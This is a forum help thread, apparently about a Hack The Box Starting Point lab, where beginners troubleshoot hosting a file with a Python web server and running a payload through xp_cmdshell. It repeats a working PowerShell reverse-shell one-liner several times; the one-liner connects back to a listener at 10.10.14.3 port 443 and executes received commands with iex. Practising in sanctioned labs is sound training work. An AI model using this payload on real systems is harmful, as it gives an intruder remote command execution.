Starting Point Mini Web Server

Hi, I am new to penetration testing. I would love some help with a problem I am having on the Starting Point machine. I have created the PowerShell and put in the command to stand up the mini webserver that will host the file. However, when I run that Python command, no output is shown and the terminal is just stuck running that one command. Any ideas or suggestions? Thank y ou in advance.

I’m new to this too and I’m stuck at about the same point. But I believe once you run the mini web server command (python3 -m http.server 80). It should say: Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) …

It should be stuck here because the server is now running.

To check go to your web browser and type in 0.0.0.0, or whatever ip address it has for you and you should see the files from the folder where ever you started the server from.

me too i have now this problem

i think this problem in port 80 or 445 in my pc

Type your comment> @JPE961 said:

Hi, I am new to penetration testing. I would love some help with a problem I am having on the Starting Point machine. I have created the PowerShell and put in the command to stand up the mini webserver that will host the file. However, when I run that Python command, no output is shown and the terminal is just stuck running that one command. Any ideas or suggestions? Thank y ou in advance.

Have you create the shell.ps1 with your ip address ?? (Your ip address on HTB ?)

Create the mini server like this == sudo python3 -m http.server --bind “10.10.1X.X” --directory /path/to/shell/ 80

but i have problem in this script
$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.3”,443);$stream = $client.GetStream();[byte[]]$bytes = 0…65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

bash: syntax error near unexpected token `(’

Type your comment> @DarkSoule said:

but i have problem in this script
$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.3”,443);$stream = $client.GetStream();[byte[]]$bytes = 0…65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

bash: syntax error near unexpected token `(’

Have you put this in shell.ps1 on your Desktop or your machine and execute the xp_… ?

@DarkSoule said:

but i have problem in this script
$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.3”,443);$stream = $client.GetStream();[byte[]]$bytes = 0…65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

bash: syntax error near unexpected token `(’

Maybe there a bad ‘(’ try this ===
$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.3”,443);$stream = $client.GetStream();[byte[]]$bytes = 0…65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

how i can creat shell.ps1

thank you my friend it’s done